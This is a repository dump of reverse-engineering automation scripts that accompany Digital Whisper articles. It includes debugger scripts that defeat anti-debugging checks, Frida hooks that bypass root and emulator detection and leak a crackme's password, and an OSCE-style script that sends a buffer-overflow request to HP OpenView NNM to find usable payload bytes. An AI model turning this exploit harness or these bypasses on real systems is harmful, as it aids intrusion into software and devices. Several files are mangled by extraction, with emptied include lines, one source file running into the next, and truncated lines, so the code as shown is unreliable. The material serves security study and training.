├── Frida ├── UnCrackable-Level2 │ ├── UnCrackable-Level2.apk │ ├── UnCrackable-Level2.py │ └── UnCrackable-Level2.js └── Android-DynamicHooks │ ├── DynamicHooks.py │ └── DynamicHooks.js ├── Ollydbg2-Playtime └── Digital Whisper Example │ ├── AntiDebugging.exe │ ├── AntiDebugging.lua │ └── AntiDebugging.cpp ├── Ollydbg2-Python └── Digital Whisper Example │ ├── DumpGlobalArray.exe │ ├── DumpGlobalArray.cpp │ └── DumpGlobalArray.py ├── X64dbgPy ├── Ollydbg2-Playtime - Digital Whisper Example │ ├── AntiDebugging.exe │ ├── AntiDebugging.cpp │ └── AntiDebugging.py └── Ollydbg2-Python - Digital Whisper Example │ ├── DumpGlobalArray.exe │ ├── DumpGlobalArray.cpp │ └── DumpGlobalArray.py ├── README.md └── WinAppDbg └── [OSCE] HPNNMGoodCharFinder └── HPNNMGoodCharFinder.py /Frida/UnCrackable-Level2/UnCrackable-Level2.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/realgam3/ReversingAutomation/HEAD/Frida/UnCrackable-Level2/UnCrackable-Level2.apk -------------------------------------------------------------------------------- /Ollydbg2-Playtime/Digital Whisper Example/AntiDebugging.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/realgam3/ReversingAutomation/HEAD/Ollydbg2-Playtime/Digital Whisper Example/AntiDebugging.exe -------------------------------------------------------------------------------- /Ollydbg2-Python/Digital Whisper Example/DumpGlobalArray.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/realgam3/ReversingAutomation/HEAD/Ollydbg2-Python/Digital Whisper Example/DumpGlobalArray.exe -------------------------------------------------------------------------------- /X64dbgPy/Ollydbg2-Playtime - Digital Whisper Example/AntiDebugging.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/realgam3/ReversingAutomation/HEAD/X64dbgPy/Ollydbg2-Playtime - Digital Whisper Example/AntiDebugging.exe -------------------------------------------------------------------------------- /X64dbgPy/Ollydbg2-Python - Digital Whisper Example/DumpGlobalArray.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/realgam3/ReversingAutomation/HEAD/X64dbgPy/Ollydbg2-Python - Digital Whisper Example/DumpGlobalArray.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ReversingAutomation 2 | [Digital Whisper] Reverse Engineering Automation Article - Source Codes 3 | 4 | The Article: 5 | http://www.digitalwhisper.co.il/files/Zines/0x3E/DW62-4-AutoRE.pdf 6 | 7 | The Article (English Version): 8 | http://www.ironsrc.com/news/reverse-engineering-automation-taking-the-investigation-a-step-further/ 9 | 10 | 11 | [Digital Whisper] Frida: Dynamic Instrumentation ToolKit: 12 | https://www.digitalwhisper.co.il/files/Zines/0x5C/DW92-3-Frida.pdf 13 | -------------------------------------------------------------------------------- /Ollydbg2-Playtime/Digital Whisper Example/AntiDebugging.lua: -------------------------------------------------------------------------------- 1 | isDebuggerPresent = GPA("kernel32", "IsDebuggerPresent") 2 | isDebuggerPresentRet = nil 3 | 4 | Event.Listen("Int3Breakpoint", function(info) 5 | if info.Address == isDebuggerPresent then 6 | if isDebuggerPresentRet == nil then 7 | isDebuggerPresentRet = Pop() 8 | Push(isDebuggerPresentRet) 9 | SetInt3Breakpoint(isDebuggerPresentRet) 10 | end 11 | elseif info.Address == isDebuggerPresentRet then 12 | EAX = 0 13 | RemoveInt3Breakpoint(isDebuggerPresentRet) 14 | isDebuggerPresentRet = nil 15 | end 16 | end) 17 | 18 | SetInt3Breakpoint(isDebuggerPresent) -------------------------------------------------------------------------------- /Frida/UnCrackable-Level2/UnCrackable-Level2.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import frida 3 | import codecs 4 | from time import sleep 5 | 6 | 7 | def on_message(message, data): 8 | print message, data 9 | 10 | 11 | if __name__ == '__main__': 12 | device = frida.get_usb_device(2000) 13 | pid = device.spawn(["sg.vantagepoint.uncrackable2"]) 14 | session = device.attach(pid) 15 | script = session.create_script(codecs.open("UnCrackable-Level2.js", encoding='utf-8').read()) 16 | script.on('message', on_message) 17 | script.load() 18 | device.resume(pid) 19 | sleep(100) 20 | device.kill(pid) 21 | -------------------------------------------------------------------------------- /Ollydbg2-Playtime/Digital Whisper Example/AntiDebugging.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void debuggerPresentInFunction() { 5 | if (IsDebuggerPresent()) { 6 | printf("Debugger Present (2)!!!\n"); 7 | } else { 8 | printf("Hello User (2)\n"); 9 | } 10 | } 11 | 12 | void main() { 13 | int result; 14 | if (IsDebuggerPresent()) { 15 | printf("Debugger Present!!!\n"); 16 | } else { 17 | printf("Hello User\n"); 18 | } 19 | 20 | debuggerPresentInFunction(); 21 | 22 | result = IsDebuggerPresent(); 23 | if (result) { 24 | printf("Debugger Present (3)!!!\n"); 25 | } else { 26 | printf("Hello User (3)\n"); 27 | } 28 | 29 | } -------------------------------------------------------------------------------- /Frida/Android-DynamicHooks/DynamicHooks.py: -------------------------------------------------------------------------------- 1 | import frida 2 | 3 | 4 | def on_message(message, data): 5 | print message 6 | 7 | 8 | # Find Frida server on USB Device (Mobile) 9 | device = frida.get_usb_device(1000) 10 | # Open APP On Pause State And Attach To It 11 | pid = device.spawn([raw_input("Package Name:")]) 12 | session = device.attach(pid) 13 | # Load Script And Add Message Callback 14 | script = session.create_script(open('DynamicHooks.js').read()) 15 | script.on('message', on_message) 16 | script.load() 17 | # Resume App 18 | device.resume(pid) 19 | # Wait For User Input To End The Script 20 | raw_input('Press enter to continue...') 21 | -------------------------------------------------------------------------------- /X64dbgPy/Ollydbg2-Playtime - Digital Whisper Example/AntiDebugging.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void debuggerPresentInFunction() { 5 | if (IsDebuggerPresent()) { 6 | printf("Debugger Present (2)!!!\n"); 7 | } else { 8 | printf("Hello User (2)\n"); 9 | } 10 | } 11 | 12 | void main() { 13 | int result; 14 | if (IsDebuggerPresent()) { 15 | printf("Debugger Present!!!\n"); 16 | } else { 17 | printf("Hello User\n"); 18 | } 19 | 20 | debuggerPresentInFunction(); 21 | 22 | result = IsDebuggerPresent(); 23 | if (result) { 24 | printf("Debugger Present (3)!!!\n"); 25 | } else { 26 | printf("Hello User (3)\n"); 27 | } 28 | 29 | } -------------------------------------------------------------------------------- /X64dbgPy/Ollydbg2-Playtime - Digital Whisper Example/AntiDebugging.py: -------------------------------------------------------------------------------- 1 | isDebuggerPresent = pluginsdk.RemoteGetProcAddress('kernel32', 'IsDebuggerPresent') 2 | isDebuggerPresentRet = None 3 | 4 | def is_debugger_present_return_callback(): 5 | global isDebuggerPresentRet 6 | print "isDebuggerPresentRet: 0x%08x" % isDebuggerPresentRet 7 | Register.EAX = 0 8 | Breakpoint.remove(isDebuggerPresentRet) 9 | isDebuggerPresentRet = None 10 | 11 | def is_debugger_present_callback(): 12 | global isDebuggerPresentRet 13 | print "isDebuggerPresent: 0x%08x" % isDebuggerPresent 14 | isDebuggerPresentRet = pluginsdk.Peek() 15 | print isDebuggerPresentRet 16 | Breakpoint.add(isDebuggerPresentRet, is_debugger_present_return_callback) 17 | 18 | Breakpoint.add(isDebuggerPresent, is_debugger_present_callback) 19 | -------------------------------------------------------------------------------- /Ollydbg2-Python/Digital Whisper Example/DumpGlobalArray.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int Test1(); 5 | int Test2(); 6 | int Test3(); 7 | int Test4(); 8 | 9 | typedef struct App { 10 | int id; 11 | char *name; 12 | int (*callback)(); 13 | } App; 14 | 15 | App appArr[] = { 16 | {0, "Test1", Test1}, 17 | {1, "Test2", Test2}, 18 | {2, "Test3", Test3}, 19 | {3, "Test4", Test4} 20 | }; 21 | 22 | int main(int argc, const char* argv[]) { 23 | int i, callbackResult; 24 | 25 | for (i=0; i 2 | #include 3 | 4 | int Test1(); 5 | int Test2(); 6 | int Test3(); 7 | int Test4(); 8 | 9 | typedef struct App { 10 | int id; 11 | char *name; 12 | int (*callback)(); 13 | } App; 14 | 15 | App appArr[] = { 16 | {0, "Test1", Test1}, 17 | {1, "Test2", Test2}, 18 | {2, "Test3", Test3}, 19 | {3, "Test4", Test4} 20 | }; 21 | 22 | int main(int argc, const char* argv[]) { 23 | int i, callbackResult; 24 | 25 | for (i=0; iI", val))[0] 16 | 17 | def get_section(section_name): 18 | sections = GetPESections() 19 | for section in sections: 20 | if section.sectname == section_name: 21 | return section.base 22 | 23 | def get_string(ea, max_length=1024): 24 | byte_array = bytearray() 25 | for offset in xrange(max_length + 1): 26 | read_chr = ReadMemory(1, ea + offset) 27 | if read_chr == '\0': 28 | break 29 | byte_array.append(read_chr) 30 | 31 | return str(byte_array) 32 | 33 | 34 | if __name__ == '__main__': 35 | Test1_address = FindHexInPage("Test1".encode('hex'), get_section('.rdata')) 36 | Test1_pointer = FindHexInPage("%08X" % bswap(Test1_address), get_section('.data')) 37 | app_array_address = Test1_pointer - sizeof(c_int32) 38 | 39 | app_size = sizeof(App) 40 | app_offset = 0 41 | while True: 42 | app = App.from_buffer_copy(ReadMemory(app_size, app_array_address + app_offset)) 43 | if not app.name: 44 | break 45 | 46 | print 'App Id: %d' % app.id 47 | print 'App Name: %s' % get_string(app.name) 48 | print 'App Callback Address: 0x%08X\n' % app.callback 49 | 50 | app_offset += app_size 51 | -------------------------------------------------------------------------------- /X64dbgPy/Ollydbg2-Python - Digital Whisper Example/DumpGlobalArray.py: -------------------------------------------------------------------------------- 1 | import struct 2 | from ctypes import * 3 | from x64dbgpy import * 4 | 5 | 6 | class App(Structure): 7 | _fields_ = [ 8 | ("id", c_int32), 9 | ("name", c_void_p), 10 | ("callback", c_void_p), 11 | ] 12 | 13 | 14 | def bswap(val): 15 | return struct.unpack("I", val))[0] 16 | 17 | def get_section(section_name, module=pluginsdk.GetMainModuleInfo()): 18 | for i in xrange(module.sectionCount): 19 | section = pluginsdk.SectionFromAddr(module.base, i) 20 | if section.name == section_name: 21 | return section 22 | 23 | def get_string(ea, max_length=1024): 24 | byte_array = bytearray() 25 | for offset in xrange(max_length + 1): 26 | read_byte = pluginsdk.ReadByte(ea + offset) 27 | if read_byte == 0: 28 | break 29 | byte_array.append(read_byte) 30 | 31 | return str(byte_array) 32 | 33 | 34 | if __name__ == '__main__': 35 | rdata_section = get_section('.rdata') 36 | Test1_address = pluginsdk.FindMem(rdata_section.addr, rdata_section.size, "Test1".encode('hex')) 37 | data_section = get_section('.data') 38 | Test1_pointer = pluginsdk.FindMem(data_section.addr, data_section.size, "%08X" % bswap(Test1_address)) 39 | app_array_address = Test1_pointer - sizeof(c_int32) 40 | 41 | app_size = sizeof(App) 42 | app_offset = 0 43 | while True: 44 | app = App.from_buffer_copy(pluginsdk.Read(app_array_address + app_offset, app_size)) 45 | if not app.name: 46 | break 47 | 48 | print 'App Id: %d' % app.id 49 | print 'App Name: %s' % get_string(app.name) 50 | print 'App Callback Address: 0x%08X\n' % app.callback 51 | 52 | app_offset += app_size 53 | -------------------------------------------------------------------------------- /Frida/Android-DynamicHooks/DynamicHooks.js: -------------------------------------------------------------------------------- 1 | const LogLevel = { 2 | None: 0, 3 | Informational: 1, 4 | Debug: 2 5 | } 6 | 7 | function hook(func, options) { 8 | let klass, funk; 9 | let Exception = Java.use("java.lang.Exception"); 10 | 11 | function getClassAndFunction(classFuncName) { 12 | let klass = classFuncName.split("."); 13 | let funk = klass.pop(); 14 | klass = klass.join("."); 15 | return [klass, funk] 16 | } 17 | 18 | function defaultFunction(funcArgs, context, originalResult) { 19 | return originalResult; 20 | } 21 | 22 | options = options || { 23 | logLevel: LogLevel.None, 24 | callOriginal: true, 25 | stackTrace: false, 26 | callback: defaultFunction, 27 | stringifyArguments: {}, 28 | stringifyResult: null, 29 | }; 30 | let logLevel = options.logLevel || LogLevel.None; 31 | let stackTrace = options.stackTrace || false; 32 | let callOriginal = options.callOriginal || true; 33 | let stringifyArguments = options.stringifyArguments || {}; 34 | let stringifyResult = options.stringifyResult || null; 35 | let args = options.arguments || []; 36 | let callback = options.callback || defaultFunction; 37 | try { 38 | [klass, funk] = getClassAndFunction(func); 39 | } catch (error) { 40 | func += ".$init"; 41 | [klass, funk] = getClassAndFunction(func); 42 | } 43 | 44 | try { 45 | let functionSignature = Java.use(klass)[funk]; 46 | let functionContext = functionSignature.overload.apply(functionSignature, args); 47 | 48 | functionContext.implementation = function () { 49 | let context = this; 50 | let funcArgs = [].slice.call(arguments); 51 | let result = null, originalResult = null; 52 | let toStringArguments = []; 53 | for (let i = 0; i < funcArgs.length; i++) { 54 | let argType = args[i]; 55 | let toStringFunc = stringifyArguments[argType]; 56 | toStringArguments.push(toStringFunc ? toStringFunc(funcArgs[i]) : funcArgs[i]); 57 | } 58 | let message = { 59 | stage: "calling", 60 | function: func, 61 | argumentTypes: args, 62 | arguments: toStringArguments, 63 | }; 64 | 65 | if (stackTrace) { 66 | message.stackTrace = Exception.$new().getStackTrace().toString().split(",").slice(1); 67 | } 68 | 69 | if (logLevel >= LogLevel.Debug) { 70 | console.log(JSON.stringify(message)); 71 | } 72 | 73 | if (callOriginal) { 74 | originalResult = functionContext.apply(context, funcArgs); 75 | } 76 | result = callback(funcArgs, context, originalResult); 77 | 78 | message.stage = "return" 79 | if (callOriginal && callback !== defaultFunction) { 80 | message.originalResult = stringifyResult ? stringifyResult(originalResult, context) : originalResult; 81 | } 82 | message.result = stringifyResult ? stringifyResult(result, context) : result; 83 | 84 | if (logLevel >= LogLevel.Informational) { 85 | console.log(JSON.stringify(message)); 86 | } 87 | 88 | return result; 89 | }; 90 | } catch (error) { 91 | if (logLevel >= LogLevel.Informational) { 92 | console.error(JSON.stringify({ 93 | stage: "error", 94 | function: func, 95 | argumentTypes: args, 96 | error: error.toString(), 97 | })); 98 | } 99 | } 100 | } 101 | 102 | Java.perform(function () { 103 | hook("java.security.MessageDigest.update", { 104 | logLevel: 1, 105 | arguments: ["[B"], 106 | stringifyArguments: { 107 | "[B": function (arg) { 108 | let byteArray = Java.array("byte", arg); 109 | return Array.from(byteArray).map(byte => (byte & 0xFF).toString(16).padStart(2, "0")).join(""); 110 | } 111 | }, 112 | stackTrace: true, 113 | callOriginal: true, 114 | }); 115 | }); 116 | -------------------------------------------------------------------------------- /WinAppDbg/[OSCE] HPNNMGoodCharFinder/HPNNMGoodCharFinder.py: -------------------------------------------------------------------------------- 1 | import re 2 | import sys 3 | import socket 4 | import logging 5 | import functools 6 | import subprocess 7 | from os import path 8 | import _winreg as reg 9 | from threading import Thread 10 | from winappdbg import Debug, win32 11 | 12 | LOG_NAME = 'HPNNMGoodCharFinder' 13 | LOG_DEBUG = False 14 | 15 | log = logging.getLogger(LOG_NAME) 16 | 17 | 18 | class Ovas(object): 19 | def __init__(self): 20 | self.path = self.__path() 21 | self.startupinfo = subprocess.STARTUPINFO() 22 | self.startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW 23 | 24 | @staticmethod 25 | def __path(): 26 | with reg.OpenKey(reg.HKEY_LOCAL_MACHINE, r'SOFTWARE\Hewlett-Packard\HP OpenView') as key: 27 | return path.join(reg.QueryValueEx(key, 'InstallDir')[0], 'bin') 28 | 29 | def start(self): 30 | return subprocess.check_call( 31 | [path.join(self.path, 'ovstart.exe'), 'ovas'], 32 | startupinfo=self.startupinfo 33 | ) == 0 34 | 35 | def stop(self): 36 | return subprocess.check_call( 37 | [path.join(self.path, 'ovstop.exe'), 'ovas'], 38 | startupinfo=self.startupinfo 39 | ) == 0 40 | 41 | def status(self): 42 | stdout = subprocess.check_output( 43 | [path.join(self.path, 'ovstatus.exe'), 'ovas'], 44 | startupinfo=self.startupinfo 45 | ) 46 | 47 | state_regex = re.search( 48 | (r"\s*state:\s*(?P.*?)\n*" 49 | r"\s*PID:\s*(?P.*?)\n*" 50 | r"\s*last message:\s*(?P.*?)\n*" 51 | r"\s*exit status:\s*(?P[^\r\n]*)\n*" 52 | ), 53 | stdout, 54 | ) 55 | 56 | state_dict = state_regex.groupdict() 57 | if state_dict['pid'] == '-': 58 | state_dict['pid'] = None 59 | state_dict['exit_status'] = int(re.search( 60 | r'Exit\((?P\d+)\)', 61 | state_dict['exit_status'] 62 | ).group('status')) 63 | else: 64 | state_dict['pid'] = int(state_dict['pid']) 65 | state_dict['exit_status'] = None 66 | 67 | return state_dict 68 | 69 | def restart(self): 70 | self.stop() 71 | self.start() 72 | 73 | @property 74 | def pid(self): 75 | return self.status()['pid'] 76 | 77 | @property 78 | def state(self): 79 | return self.status()['state'] 80 | 81 | @property 82 | def last_message(self): 83 | return self.status()['last_message'] 84 | 85 | @property 86 | def exit_status(self): 87 | return self.status()['exit_status'] 88 | 89 | 90 | def bad_characters_handler(test_payload, test_char, good_chars, event): 91 | # Get the event code. 92 | if event.get_event_code() != win32.EXCEPTION_DEBUG_EVENT or \ 93 | event.get_exception_code() != 0xC0000005: 94 | return 95 | 96 | # Get the address where the exception occurred. 97 | try: 98 | address = event.get_fault_address() 99 | except NotImplementedError: 100 | address = event.get_exception_address() 101 | 102 | # Should Be Address From The Payload 103 | if address != 0x42424242: 104 | return 105 | 106 | # Get the process where the event occured. 107 | process = event.get_process() 108 | 109 | # Get the thread where the event occured. 110 | thread = event.get_thread() 111 | 112 | # Get the exception user-friendly description. 113 | name = event.get_exception_description() 114 | 115 | # Show a descriptive message to the user. 116 | log.debug("%s at address 0x%08x" % (name, address)) 117 | 118 | # Get the stack pointer (Stack Top) 119 | stack_top = thread.get_sp() 120 | log.debug("Stack Address: 0x%08x" % stack_top) 121 | 122 | # Get the payload address from the stack (POP, POP, PEEK) 123 | payload_address = process.read_pointer(stack_top + 8) 124 | log.debug("Payload Address: 0x%08x" % payload_address) 125 | 126 | # Get the needed peace or the payload from memory 127 | payload = process.read(payload_address + 8, 452) 128 | log.debug("Payload Hex: %s" % payload.encode('hex')) 129 | 130 | if payload == test_payload: 131 | good_char = r"\x%s" % test_char.encode('hex') 132 | log.info('Good Character Found: "%s"' % good_char) 133 | good_chars.append(good_char) 134 | 135 | # Kill Process 136 | event.debug.kill_all(bIgnoreExceptions=True) 137 | 138 | 139 | def debug_ovas(ovas_pid, test_payload, test_char, good_chars): 140 | # Instance a Debug object. 141 | debug = Debug( 142 | functools.partial(bad_characters_handler, test_payload, test_char, good_chars), 143 | bKillOnExit=True 144 | ) 145 | try: 146 | # Attach to a running process. 147 | debug.attach(ovas_pid) 148 | 149 | # Wait for the debugee to finish. 150 | debug.loop() 151 | finally: 152 | # Stop the debugger. 153 | debug.stop() 154 | 155 | 156 | def exploit(test_payload, ip='127.0.0.1', port=7510): 157 | payload = "A" * 3381 + "B" * 4 + test_payload + "D" * 163 158 | buff = "GET /topology/homeBaseView HTTP/1.1\r\n" 159 | buff += "Host: " + payload + "\r\n" 160 | buff += "Content-Type: application/x-www-form-urlencoded\r\n" 161 | buff += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n" 162 | buff += "Content-Length: 1048580\r\n\r\n" 163 | 164 | try: 165 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 166 | s.connect((ip, port)) 167 | s.send(buff) 168 | s.close() 169 | except Exception, ex: 170 | log.error("Exploit Error: %s" % ex) 171 | return True 172 | 173 | 174 | if __name__ == '__main__': 175 | ovas = Ovas() 176 | good_chars = [] 177 | 178 | logging.basicConfig( 179 | stream=sys.stdout, 180 | level=logging.DEBUG if LOG_DEBUG else logging.INFO, 181 | format='%(asctime)s %(levelname)-8s %(message)s', 182 | ) 183 | log.debug('HPNNM Good Characters Finder Start') 184 | for test_char in map(chr, xrange(0x00, 0xFF + 1)): 185 | # Restart Ovas 186 | log.debug('Restarting Ovas') 187 | ovas.restart() 188 | 189 | try: 190 | log.info(r'Testing Character: "\x%s"' % test_char.encode('hex')) 191 | 192 | # Open Debug Thread 193 | test_payload = "C" * 225 + test_char + "C" * 226 194 | debug_thread = Thread(target=debug_ovas, args=[ovas.pid, test_payload, test_char, good_chars]) 195 | debug_thread.start() 196 | 197 | # Exploit 198 | log.debug('Sending Exploit') 199 | exploit(test_payload) 200 | 201 | debug_thread.join(timeout=5) 202 | except WindowsError, ex: 203 | log.error("Windows Error: %s" % ex) 204 | 205 | log.debug('HPNNM Good Characters Finder Finished') 206 | log.info('Good Characters: "%s"' % "".join(good_chars)) 207 | -------------------------------------------------------------------------------- /Frida/UnCrackable-Level2/UnCrackable-Level2.js: -------------------------------------------------------------------------------- 1 | // https://github.com/realgam3/ReversingAutomation 2 | function hook(obj, options) { 3 | var Exception = Java.use('java.lang.Exception'); 4 | var func = options['function'] !== undefined ? options['function'] : '$init'; 5 | var args = options['arguments'] !== undefined ? options['arguments'] : []; 6 | var debug = options['debug'] !== undefined ? options['debug'] : false; 7 | var callOriginal = options['callOriginal'] !== undefined ? options['callOriginal'] : true; 8 | var callback = options['callback'] = options['callback']; 9 | 10 | try { 11 | Java.use(obj)[func].overload.apply(null, args).implementation = function () { 12 | var args = [].slice.call(arguments); 13 | var result = null; 14 | // Call Origin Function If True 15 | if (callOriginal) { 16 | result = this[func].apply(this, args); 17 | } 18 | // Call Callback If Exist 19 | if (callback) { 20 | result = callback(result, args, this); 21 | } 22 | // Debug Log 23 | if (debug) { 24 | var calledFrom = Exception.$new().getStackTrace().toString().split(',')[1]; 25 | var message = JSON.stringify({ 26 | arguments: args, 27 | result: result, 28 | calledFrom: calledFrom 29 | }); 30 | console.log(obj + "." + func + "[\"Debug\"] => " + message); 31 | } 32 | // Return Result 33 | return result; 34 | }; 35 | } catch (err) { 36 | // Error Log 37 | console.log(obj + "." + func + "[\"Error\"] => " + err); 38 | } 39 | } 40 | 41 | function getProcAddress(module, procName) { 42 | var imports = Module.enumerateImportsSync(module); 43 | for (var i = 0; i < imports.length; i++) { 44 | // console.log(imports[i].name); 45 | if (imports[i].name === procName) { 46 | return imports[i].address; 47 | } 48 | } 49 | } 50 | 51 | Java.perform(function () { 52 | // Bypass The Emulator Detection 53 | var Build = Java.use("android.os.Build"); 54 | Build.TAGS.value = "release-keys"; 55 | 56 | // Bypass The Root Detection 57 | hook("java.io.File", { 58 | function: "exists", 59 | callOriginal: true, 60 | callback: function (originalResult, args, self) { 61 | // console.log(self.path.value); 62 | if (self.path.value.endsWith("/su")) { 63 | return false; 64 | } 65 | if (["/system/app/Superuser.apk", "/system/xbin/daemonsu", 66 | "/system/etc/init.d/99SuperSUDaemon", "/system/bin/.ext/.su", 67 | "/system/etc/.has_su_daemon", "/system/etc/.installed_su_daemon", 68 | "/dev/com.koushikdutta.superuser.daemon/"].indexOf(self.path.value) !== -1) { 69 | return false; 70 | } 71 | return originalResult; 72 | } 73 | }); 74 | 75 | var System = Java.use('java.lang.System'); 76 | var ActivityThread = Java.use("android.app.ActivityThread"); 77 | var AlertDialogBuilder = Java.use("android.app.AlertDialog$Builder"); 78 | var DialogInterfaceOnClickListener = Java.use('android.content.DialogInterface$OnClickListener'); 79 | Java.use("android.app.Activity").onCreate.overload("android.os.Bundle").implementation = function (savedInstanceState) { 80 | var currentActivity = this; 81 | 82 | // Get Main Activity 83 | var application = ActivityThread.currentApplication(); 84 | var launcherIntent = application.getPackageManager().getLaunchIntentForPackage(application.getPackageName()); 85 | var launchActivityInfo = launcherIntent.resolveActivityInfo(application.getPackageManager(), 0); 86 | 87 | // Alert Will Only Execute On Main Package Activity Creation 88 | var result = this.onCreate.overload("android.os.Bundle").call(this, savedInstanceState); 89 | if (launchActivityInfo.name.value === this.getComponentName().getClassName()) { 90 | // Alert Will Only Execute On Main Package Activity Creation 91 | if (launchActivityInfo.name.value === this.getComponentName().getClassName()) { 92 | var alert = AlertDialogBuilder.$new(this); 93 | alert.setMessage("Welcome To Viral Nights #2: \nReverse Engineering Automation"); 94 | alert.setPositiveButton("Cool!", Java.registerClass({ 95 | name: 'il.co.realgame.OnClickListenerPositive', 96 | implements: [DialogInterfaceOnClickListener], 97 | methods: { 98 | getName: function () { 99 | return 'OnClickListenerPositive'; 100 | }, 101 | onClick: function (dialog, which) { 102 | // Dismiss 103 | dialog.dismiss(); 104 | } 105 | } 106 | }).$new()); 107 | 108 | alert.setNegativeButton("Booo! I'm Going Home!", Java.registerClass({ 109 | name: 'il.co.realgame.OnClickListenerNegative', 110 | implements: [DialogInterfaceOnClickListener], 111 | methods: { 112 | getName: function () { 113 | return 'OnClickListenerNegative'; 114 | }, 115 | onClick: function (dialog, which) { 116 | // Close Application 117 | currentActivity.finish(); 118 | System.exit(0); 119 | } 120 | } 121 | }).$new()); 122 | 123 | // Create Alert 124 | alert.create().show(); 125 | } 126 | 127 | // Hook strncmp Native Function 128 | var strncmp = getProcAddress("libfoo.so", "strncmp"); 129 | // console.log(strncmp); 130 | Interceptor.attach(strncmp, { 131 | onEnter: function (args) { 132 | this.str1 = args[0]; 133 | this.str2 = args[1]; 134 | this.num = args[2]; 135 | }, 136 | onLeave: function (retval) { 137 | // Always Return True When The First String Size Is 23 And It Starts With "realgam3" 138 | var num = this.num.toInt32(); 139 | if (Memory.readUtf8String(this.str1, num).startsWith("realgam3")) { 140 | console.log("Original Password: " + Memory.readUtf8String(this.str2, num)); 141 | retval.replace(0); 142 | } 143 | } 144 | }); 145 | } 146 | return result; 147 | }; 148 | }); 149 | --------------------------------------------------------------------------------